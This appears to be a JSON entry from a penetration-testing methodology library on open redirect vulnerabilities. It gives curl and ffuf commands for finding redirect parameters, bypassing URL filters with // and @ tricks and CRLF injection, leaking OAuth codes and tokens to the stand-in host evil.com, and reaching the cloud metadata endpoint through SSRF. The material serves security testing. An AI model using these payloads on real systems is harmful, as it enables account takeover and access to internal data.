{
  "slug": "open-redirect-testing",
  "title": "Open Redirect",
  "phase": "Exploitation",
  "description": "Test for open redirect vulnerabilities where user-controlled input drives a redirect destination, then bypass filters and chain the issue into OAuth token theft and SSRF.",
  "difficulty": "low",
  "tags": [
    "exploitation",
    "open-redirect",
    "redirect",
    "oauth",
    "url-parsing"
  ],
  "tools": [
    "Burp Suite",
    "ffuf",
    "Oralyzer",
    "curl"
  ],
  "steps": [
    {
      "id": "openredir-01",
      "title": "Discover redirect parameters",
      "description": "Enumerate parameters and endpoints commonly responsible for redirects, such as login return paths, logout handlers, and tracking links.",
      "commands": [
        "cat all-urls.txt | grep -iE '(\\?|&)(redirect|redirect_uri|url|next|return|returnUrl|dest|destination|continue|callback|goto|forward|out|to|target)='",
        "ffuf -w params.txt -u 'https://target.com/login?FUZZ=https://evil.com' -mc 301,302,303,307,308 -mr 'evil.com'"
      ],
      "notes": "Login, logout, and SSO flows are the richest sources of redirect parameters. Check whether the value appears in a Location header or a client-side JavaScript redirect."
    },
    {
      "id": "openredir-02",
      "title": "Confirm a basic open redirect",
      "description": "Supply an external absolute URL and verify the server issues a redirect to your domain via the Location response header.",
      "commands": [
        "curl -sk -i 'https://target.com/login?next=https://evil.com' | grep -i '^location:'",
        "python3 oralyzer.py -u 'https://target.com/login?next=FUZZ'"
      ],
      "notes": "A 30x response with Location set to your fully external domain is a clean open redirect. If the response is 200, look for a meta refresh or a JavaScript-based redirect instead."
    },
    {
      "id": "openredir-03",
      "title": "Bypass redirect filters and whitelists",
      "description": "When naive validation blocks external URLs, defeat it with URL-parsing tricks that different components interpret inconsistently.",
      "commands": [
        "curl -sk -i 'https://target.com/login?next=//evil.com' | grep -i '^location:'",
        "curl -sk -i 'https://target.com/login?next=https:evil.com' | grep -i '^location:'",
        "curl -sk -i 'https://target.com/login?next=https://target.com.evil.com' | grep -i '^location:'",
        "curl -sk -i 'https://target.com/login?next=https://target.com@evil.com' | grep -i '^location:'",
        "curl -sk -i 'https://target.com/login?next=https://evil.com\\\\@target.com' | grep -i '^location:'",
        "curl -sk -i 'https://target.com/login?next=/%0d%0aLocation:%20https://evil.com' | grep -i '^location:'"
      ],
      "notes": "Filters that only check for a leading http:// miss //evil.com and https:evil.com. The @ trick works when validation checks that the host starts with the allowed domain but the browser treats everything before @ as userinfo."
    },
    {
      "id": "openredir-04",
      "title": "Find DOM-based open redirects",
      "description": "Identify client-side redirects where JavaScript reads attacker-controlled input from location, hash, or query and passes it to a navigation sink.",
      "commands": [
        "cat *.js | grep -iE '(location\\.href|location\\.replace|location\\.assign|window\\.location|document\\.location)\\s*='",
        "cat *.js | grep -iE '(location\\.hash|location\\.search|URLSearchParams|document\\.URL|getParameter)'"
      ],
      "notes": "DOM-based redirects do not show up in the Location header, so test them in a browser. A payload like #https://evil.com or ?redirect=javascript:alert(1) may reach location.href without server involvement."
    },
    {
      "id": "openredir-05",
      "title": "Chain open redirect to OAuth token or code theft",
      "description": "Abuse a lax redirect_uri or a chained open redirect to leak an OAuth authorization code or access token to an attacker-controlled host.",
      "commands": [
        "curl -sk -i 'https://target.com/oauth/authorize?response_type=code&client_id=web&redirect_uri=https://evil.com/cb&scope=email' | grep -i '^location:'",
        "curl -sk -i 'https://target.com/oauth/authorize?response_type=token&client_id=web&redirect_uri=https://target.com/login?next=https://evil.com' | grep -i '^location:'"
      ],
      "notes": "When redirect_uri validation only allows same-origin URLs, an open redirect on that origin lets you forward the code or token onward. Tokens in the URL fragment leak via the Referer header or by chaining a second redirect."
    },
    {
      "id": "openredir-06",
      "title": "Escalate open redirect toward SSRF",
      "description": "Where a server-side component fetches or follows the redirect target, use the open redirect to reach internal hosts that direct SSRF payloads cannot.",
      "commands": [
        "curl -sk 'https://target.com/fetch?url=https://target.com/login?next=http://169.254.169.254/latest/meta-data/'"
      ],
      "notes": "Open redirects are a classic bypass for SSRF filters that whitelist the target's own domain. If a server-side fetcher trusts on-site URLs and follows 30x responses, you can pivot to internal resources."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/dom-based/open-redirection",
    "https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html",
    "https://github.com/r0oth3x49/Oralyzer",
    "https://cwe.mitre.org/data/definitions/601.html"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-07-05"
}